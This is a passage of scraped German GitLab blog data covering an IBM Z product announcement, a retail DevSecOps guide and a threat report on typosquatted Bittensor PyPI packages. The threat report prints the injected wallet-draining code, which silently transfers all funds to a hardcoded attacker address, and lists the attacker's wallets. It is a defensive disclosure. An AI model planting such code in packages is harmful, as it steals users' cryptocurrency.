priorisieren.\n\n\n> ### Bereit für smartere Code-Suche? Erfahre mehr in unserer [Dokumentation](https://docs.gitlab.com/ee/user/search/exact_code_search.html) oder probiere es jetzt aus, indem du eine Suche in deinen Premium- oder Ultimate-lizenzierten Namespaces oder Projekten durchführst. Noch kein GitLab-Nutzer? Teste [kostenlos GitLab Ultimate mit Duo](https://about.gitlab.com/free-trial/)!\n",[764,825,897],{"featured":6,"template":800,"slug":1116},"exact-code-search-find-code-faster-across-repositories",{"content":1118,"config":1128},{"heroImage":1119,"body":1120,"authors":1121,"updatedDate":951,"date":1124,"title":1125,"tags":1126,"description":1127,"category":764},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750440008/myqt5vcjlffh8sszw507.png","GitLab und IBM haben sich zusammengeschlossen, um eine grundlegende Diskrepanz in der Unternehmensentwicklung zu lösen: Mainframe-Entwickler(innen) sollen mit denselben modernen Tools, Workflows und Kollaborationsfunktionen arbeiten können wie ihre Kolleg(inn)en in verteilten Umgebungen.\n\nGitLab Ultimate für IBM Z, eine von GitLab zertifizierte, integrierte DevSecOps-Lösung, die speziell für die Mainframe-Umgebung entwickelt wurde, macht genau das möglich: Sie ermöglicht es Unternehmen, ihre Mainframe-Entwicklungsworkflows zu modernisieren, indem eine nahtlose Migration von veralteten Legacy-Bibliotheksmanagern erleichtert wird. Mit CI/CD-Pipelines, die nativ auf IBM z/OS laufen, erleben Kund(inn)en beschleunigte Innovation und reduzierte Betriebskosten.\n\n## Herausforderungen der heutigen Mainframe-Entwicklung\n\nUnternehmen, die IBM Z-Systeme für geschäftskritische Workloads einsetzen, stehen vor Herausforderungen, für die herkömmliche DevSecOps-Tools nicht ausgestattet sind. Cloud-native Teams profitieren von modernen [CI/CD](https://about.gitlab.com/topics/ci-cd/)-Pipelines, kollaborativer Entwicklung und automatisierten Tests. Im Gegensatz dazu werden Mainframe-Teams oft zurückgelassen – sie stecken mit veralteten Tools fest, die zu kostspieligen Ineffizienzen und operativen Silos führen.\n\nTeams greifen oft auf Workarounds zurück, wie SSH-Verbindungen und manuelle Dateiübertragungen, die Sicherheitslücken schaffen und Audits erschweren. Wenn Compliance-Anforderungen streng sind, werden diese improvisierten Lösungen zu inakzeptablen Risiken. Gleichzeitig unterhalten Organisationen teure parallele Toolchains, wobei Legacy-Mainframe-Entwicklungstools Premium-Lizenzkosten verursachen, während sie im Vergleich zu modernen Alternativen nur eingeschränkte Funktionalität bieten.\n\nDiese Fragmentierung schafft zwei Probleme: langsamere Bereitstellungszyklen und Schwierigkeiten bei der Rekrutierung von Entwickler(inne)n, die modernste Prozesse erwarten.\n\n> **„GitLab Ultimate für IBM Z stellt einen wichtigen Schritt zur Bewältigung einer langjährigen Branchenherausforderung dar. IDC-Forschung zeigt, dass Mainframe-Entwickler(innen) oft mit Legacy-Tools arbeiten, die zu Bereitstellungsineffizienzen beitragen und es schwieriger machen, neue Talente anzuziehen. Mit diesem Angebot werden moderne DevSecOps-Fähigkeiten und einheitliche Workflows direkt auf den Mainframe gebracht. Dies befähigt Entwickler(innen), kollaborativer und effizienter zu arbeiten, während es Organisationen hilft, Innovation zu beschleunigen und Mainframe-Entwicklung in breitere digitale Transformationsstrategien zu integrieren.\"** - Katie Norton, Research Manager, DevSecOps und Software Supply Chain Security bei IDC\n\n## Vereinheitlichte Entwicklungsumgebungen\n\nWahre Modernisierung bedeutet mehr als nur die Aktualisierung der Mainframe-Entwicklung. Es bedeutet, eine einheitliche Plattform zu schaffen, auf der Mainframe-, Cloud-native-, Web- und Mobile-Entwicklungsteams nahtlos zusammenarbeiten.\n\nGitLab Ultimate für IBM Z ermöglicht es Entwickler(inne)n, konsistente Workflows zu verwenden, unabhängig davon, ob sie auf z/OS, Cloud oder On-Premises-Infrastruktur bereitstellen – Wissen wird zwischen Teams übertragen, anstatt in Silos zu verbleiben. Organisationen können schrittweise modernisieren, ohne Geschäftsunterbrechungen, da Legacy-Systeme weiterhin funktionieren, während Teams moderne Praktiken in ihrem eigenen Tempo übernehmen.\n\nWährend Organisationen Hybrid-Cloud-Strategien verfolgen, bietet GitLab die Grundlage für Anwendungen, die sich über Mainframe- und Cloud-native-Umgebungen erstrecken.\n\n## Was ist GitLab Ultimate für IBM Z?\n\nGitLab Ultimate für IBM Z bietet native z/OS-Runner-Unterstützung und ermöglicht eine nahtlose CI/CD-Pipeline-Ausführung direkt auf Ihrer Mainframe-Infrastruktur. Diese von GitLab zertifizierte Lösung hilft, die Notwendigkeit komplexer Workarounds zu eliminieren und gleichzeitig die Sicherheit und Zuverlässigkeit zu gewährleisten, die Ihre Unternehmensanwendungen erfordern.\n\nDie Kombination aus GitLabs umfassender DevSecOps-Plattform und IBMs tiefgreifender Mainframe-Expertise schafft etwas Einzigartiges auf dem Markt: eine zertifizierte Lösung, die eine echte Brücke zwischen unternehmenskritischen Legacy-Systemen und Cloud-nativer Innovation bietet.\n\n## GitLab Ultimate für IBM Z Funktionen\n\nGitLab Ultimate für IBM Z bietet Unternehmensteams die Tools, die sie benötigen, um die Mainframe-Entwicklung zu modernisieren und gleichzeitig kritische Geschäftssysteme zu erhalten.\n\n**Native z/OS-Runner-Unterstützung** hilft, Sicherheitsrisiken und Skalierbarkeitsengpässe im Zusammenhang mit Remote-Verbindungen zu eliminieren, während die Bereitstellung durch CI/CD-Pipelines beschleunigt wird, die direkt dort ausgeführt werden, wo sich Ihr Mainframe-Code befindet.\n\n**Einheitliches Source Code Management** modernisiert Toolchains, indem teure Legacy-Bibliotheksmanager durch GitLabs durchsuchbares, versionskontrolliertes Repository-System ersetzt werden, was zur Reduzierung von Lizenzkosten und Wartungsaufwand beiträgt.\n\n**Nahtlose Integration** mit IBM Developer for z/OS Enterprise Edition (IDzEE) liefert schnellere Software-Releases durch abhängigkeitsbasierte Builds, automatisiertes Code-Scanning und umfassende Debugging-Tools in vertrauten Entwicklerumgebungen, wodurch sowohl Qualität als auch Sicherheit verbessert werden.\n\n**End-to-End-Transparenz** über Mainframe- und verteilte Umgebungen hinweg bietet umfassendes Projektmanagement von der Planung bis zur Produktion und ermöglicht automatisierte DevOps-Workflows, die durch moderne Entwicklungstools der nächsten Generation zur Talentbindung beitragen.\n\n## Modernisiere deine Mainframe-Entwicklungsumgebung noch heute\n\nGitLab Ultimate für IBM Z ist jetzt für Organisationen verfügbar, die bereit sind, ihre Mainframe-Entwicklungserfahrung zu transformieren. Weitere Informationen befinden sich auf der [GitLab und IBM Partnerseite](https://about.gitlab.com/de-de/partners/technology-partners/ibm/).",[1122,1123],"Mike Flouton","Andy Bradfield","2025-06-20","GitLab Ultimate für IBM Z: Moderne DevSecOps für Mainframes",[284,764,109,715],"Ein neues Angebot von GitLab und IBM überbrückt Mainframe- und Cloud-native-Entwicklung mit nahtloser Integration, CI/CD-Runner-Unterstützung, End-to-End-Transparenz und Kosteneffizienz.",{"featured":91,"template":800,"slug":1129},"gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"category":126,"slug":775,"posts":1131},[1132,1144,1156],{"content":1133,"config":1142},{"title":1134,"description":1135,"authors":1136,"body":1138,"category":775,"tags":1139,"date":1140,"heroImage":1141},"Leitfaden für das Entwickeln sicherer Retail-Apps mit GitLab","So hilft die DevSecOps-Plattform Händlern bei der Entwicklung sicherer, konformer Software für komplexe Retail-Umgebungen.",[950,1137],"Rebeca Fenoy-Anthony","Händler stehen bei der Anwendungssicherheit vor besonderen Herausforderungen – hauptsächlich weil die **Angriffsfläche durch die Komplexität des modernen Handels größer ist als je zuvor**. Von mobilen Apps und KI-gestützter Personalisierung bis zu Omni-Channel-Plattformen und IoT im Geschäft – jeder Berührungspunkt erhöht die Anzahl der Systeme, die gesichert und überwacht werden müssen. Eine einzelne Schwachstelle betrifft nicht nur eine Komponente, sondern kann sich auf Zahlungsabwickler, Bestandssysteme, Kundendaten und letztendlich das Markenvertrauen auswirken.\n\nTraditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.\n\n**Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus** und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.\n\nIn diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, **ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen**.\n\n## Warum Retail-Sicherheit einen anderen Ansatz erfordert\n\nIm Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.\n\nZur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:\n\n### Fragilität der Lieferkette und API-Wildwuchs\n\nVersandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer [Umfrage von Fluent Commerce 2024](https://premierconstructionnews.com/2024/05/25/retails-revival-fluent-commerce-study-finds-93-of-uk-retailers-expect-business-growth-over-next-year-despite-economic-challenges-and-supply-chain-disruption/). Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.\n\n### Legacy-Systeme treffen auf moderne Anforderungen\n\nViele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.\n\n### KI- und Compliance-Komplexität\n\nKI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die [DSGVO](https://gdpr.eu/what-is-gdpr/) (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.\n\n### Risiken bei kundenorientierten Automatisierungen\n\nSelf-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.\n\n### Unterschiedliche Bedrohungsflächen\n\nHändler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.\n\nDies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.\n\n## Warum traditionelle AppSec im Einzelhandel versagt\n\nDie meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:\n\n* **Begrenzte Lebenszyklusabdeckung:** Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.\n* **Integrationsherausforderungen:** Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.\n* **Manuelle Prozesse:** Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.\n* **Team-Silos:** Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.\n\n### Der Weg nach vorn\n\nIn der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.\n\n### Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab\n\nGitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:\n\n* [SAST](https://docs.gitlab.com/user/application_security/sast/)  \n* [DAST](https://docs.gitlab.com/user/application_security/dast/)  \n* [Abhängigkeitsscannen](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/) \n* [Container-Scannen](https://docs.gitlab.com/user/application_security/container_scanning/)  \n* [Geheimnis-Erkennung](https://docs.gitlab.com/user/application_security/secret_detection/)  \n* [Infrastructure-as-Code-Scannen](https://docs.gitlab.com/user/application_security/iac_scanning/)  \n* [Fuzz-Testing](https://docs.gitlab.com/user/application_security/api_fuzzing/)\n\nAber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, [die richtigen Richtlinien durchzusetzen](https://docs.gitlab.com/user/compliance/compliance_frameworks/), um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.\n\n![Sicherheitsscans in Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/x2dteagn1z8tjfahmobv.png)\n\n\u003Ccenter>\u003Ci>Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/npsgvu5e0sd2kpoxug7f.png)\n\n\u003Ccenter>\u003Ci>Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.\u003C/i>\u003C/center>\n\n### Eine Plattform für Dev, Sec und Ops\n\nRetail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:\n\n* **Einzige Quelle der Wahrheit** für Quellcode, Pipelines, Schwachstellen und Compliance  \n* **Kein Integrationsaufwand** oder Tool-Kompatibilitätsprobleme  \n* **Konsistente Workflows** über alle Teams und Projekte\n\nDas Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.\n\n![Compliance-Center, wo Sie Compliance-Frameworks für Ihre Projekte durchsetzen können.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/d2nzltd1a2gypywzhv5f.png)\n\n\u003Ccenter>\u003Ci>Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n![Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988740/szoocztazaup2avkaxhu.png)\n\n\u003Ccenter>\u003Ci>Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.\u003C/i>\u003C/center>\n\n### Geteilte Sicherheitsverantwortung, keine Silos\n\nDie erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.\n\n**Entwickler(innen)-Ermächtigung**\n\nSicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.\n\n![Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988741/uenrjye3arfg9wjtwss1.png)\n\n\u003Ccenter>\u003Ci>Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\n**Automatisierte Compliance**\n\nGeneriere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.\n\n![GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756988739/gpakhdvkegloqxhaeje8.png)\n\n\u003Ccenter>\u003Ci>GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nDieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.\n\n## Plattform vs. Einzeltools: Was Händler wissen müssen\n\n| Fähigkeit                      | Einzeltools              | GitLab DevSecOps-Plattform                     |\n| ------------------------------ | ------------------------ | ---------------------------------------------- |\n| SAST/DAST/API/Fuzz             | Getrennt & begrenzt      | Vollständig integriert                         |\n| Lizenz- & Abhängigkeitsscannen | Oft externe Tools        | Eingebaut                                      |\n| Compliance- & Audit-Berichte   | Manuell oder unverbunden | Automatisiert mit Nachverfolgbarkeit           |\n| Zusammenarbeit zwischen Teams  | Fragmentiert             | Einheitliche Umgebung                          |\n| End-to-End-Sichtbarkeit        | Tool-spezifisch          | Vollständiger Lebenszyklus + Wertstrom-Ansicht |\n\n## Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran\n\nIm Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.\n\nGitLabs integrierte DevSecOps-Plattform hilft Händlern:\n\n* **Schneller bereitzustellen ohne Sicherheitskompromisse** mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun.  \n* **Compliance-Anforderungen mühelos zu erfüllen** durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards.  \n* **Sicherheitstoolkosten erheblich zu senken** durch Ersatz mehrerer Einzellösungen mit einer Plattform.  \n* **Entwickler(innen) zu Sicherheitsbefürwortern zu machen** mit Anleitung und Automatisierung, nicht mit Hindernissen.\n\nTeste hier einige der Sicherheitsfunktionen von GitLab:\n\n* [Schwachstellen mit GitLab Duo beheben](https://gitlab.navattic.com/ve-vr-short)   \n* [Scans zur Pipeline hinzufügen](https://gitlab.navattic.com/gitlab-scans)  \n* [Compliance-Frameworks](https://gitlab.navattic.com/compliance-short)  \n* [Erweiterte SAST](https://gitlab.navattic.com/advanced-sast-short)\n\n> Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer [kostenlosen Testversion](https://about.gitlab.com/free-trial/) optimieren kann.",[775,764,824,841],"2025-09-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756989645/fojzxakmfdea6jfqjkrl.png",{"featured":91,"template":800,"slug":1143},"a-developers-guide-to-building-secure-retail-apps-with-gitlab",{"content":1145,"config":1154},{"title":1146,"authors":1147,"description":1149,"date":1150,"body":1151,"category":775,"tags":1152,"heroImage":1153},"GitLab deckt Bittensor-Diebstahlkampagne über PyPI auf",[1148],"Michael Henriksen","Das Vulnerability Research Team von GitLab identifizierte eine Supply-Chain-Angriffskampagne, die Typosquatting-PyPI-Pakete verwendet, um Kryptowährung aus Bittensor-Wallets durch Manipulation von Staking-Operationen zu stehlen.","2025-08-06","Das Vulnerability Research Team von GitLab hat eine ausgeklügelte\n\n\nKryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem\n\n\ndurch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.\n\n\nDie Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.\n\n\n> **Geschäftsrelevanz:** Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. **90% der Fortune-500-Unternehmen** nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.\n\n\n## Die Angriffsmethode im Detail\n\n\nDie identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:\n\n\n* `bitensor@9.9.4` (02:52 UTC)\n\n* `bittenso-cli@9.9.4` (02:59 UTC)\n\n* `qbittensor@9.9.4` (03:02 UTC)\n\n* `bitensor@9.9.5` (03:15 UTC)\n\n* `bittenso@9.9.5` (03:16 UTC)\n\n\nAlle Pakete wurden entwickelt, um die legitimen `bittensor`- und `bittensor-cli`-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.\n\n\n### Technische Analyse: So funktioniert der Diebstahl\n\n\nDie Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der `stake_extrinsic`-Funktion in `bittensor_cli/src/commands/stake/add.py`.\n\n\nWo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:\n\n\n```python\n\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n\n```\n\n\n**Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:**\n\n\n* **Stille Ausführung:** Verwendet `prompt=False`, um die Benutzerbestätigung zu umgehen\n\n* **Vollständige Wallet-Entleerung:** Setzt `transfer_all=True`, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag\n\n* **Hartcodiertes Ziel:** Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter\n\n* **Versteckt in Sichtweite:** Wird während einer scheinbar normalen Staking-Operation ausgeführt\n\n\nDas Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.\n\n\n### Besondere Relevanz für deutsche Unternehmen\n\n\nDiese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.\n\n\n### Warum die Staking-Funktionalität ins Visier genommen wird\n\n\nDie Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet **Staking**, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.\n\n\nDies macht Staking zu einem idealen Angriffsvektor:\n\n\n1. **Hochwertige Ziele:** Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.\n\n2. **Erforderlicher Wallet-Zugriff:** Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.\n\n3. **Erwartete Netzwerkaktivität:** Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.\n\n4. **Routineoperationen:** Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.\n\n5. **Verzögerte Entdeckung:** Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.\n\n\nDurch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.\n\n\n## Der Geldspur folgen\n\n\nDas Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.\n\n\n### Das Geldwäsche-Netzwerk\n\n\nDie Analyse offenbarte ein mehrstufiges Geldwäschesystem:\n\n\n1. **Primäre Sammlung:** Gestohlene Gelder kommen zunächst bei `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` an\n\n2. **Verteilungsnetzwerk:** Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:\n\n   * `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   * `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   * `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   * `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Finale Konsolidierung:** Alle Pfade konvergieren schließlich bei `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n\n4. **Auszahlungsendpunkt:** Das finale Ziel scheint\n   `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ` zu sein\n\n## Die Typosquatting-Strategie\n\n\nDie Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:\n\n\n* **Fehlende Zeichen:** `bitensor` statt `bittensor` (fehlendes 't')\n\n* **Kürzung:** `bittenso` statt `bittensor` (fehlendes finales 'r')\n\n* **Versions-Nachahmung:** Alle Pakete verwendeten Versionsnummern (`9.9.4`, `9.9.5`), die den legitimen Paketversionen sehr ähnlich sind\n\n\nDieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während `pip install`-Befehlen und Copy-Paste-Fehler aus Dokumentationen.\n\n\n## Die Zukunft der Supply-Chain-Sicherheit\n\n\nGitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.\n\n\nDie schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.\n\n\n## Kompromittierungsindikatoren\n\n\n\\| IOC                                                | Beschreibung                                                      |\n\n\n\\| -------------------------------------------------- | ----------------------------------------------------------------- |\n\n\n\\| `pkg:pypi/bittenso@9.9.5`                          | Bösartiges PyPI-Paket                                             |\n\n\n\\| `pkg:pypi/bitensor@9.9.5`                          | Bösartiges PyPI-Paket                                             |\n\n\n\\| 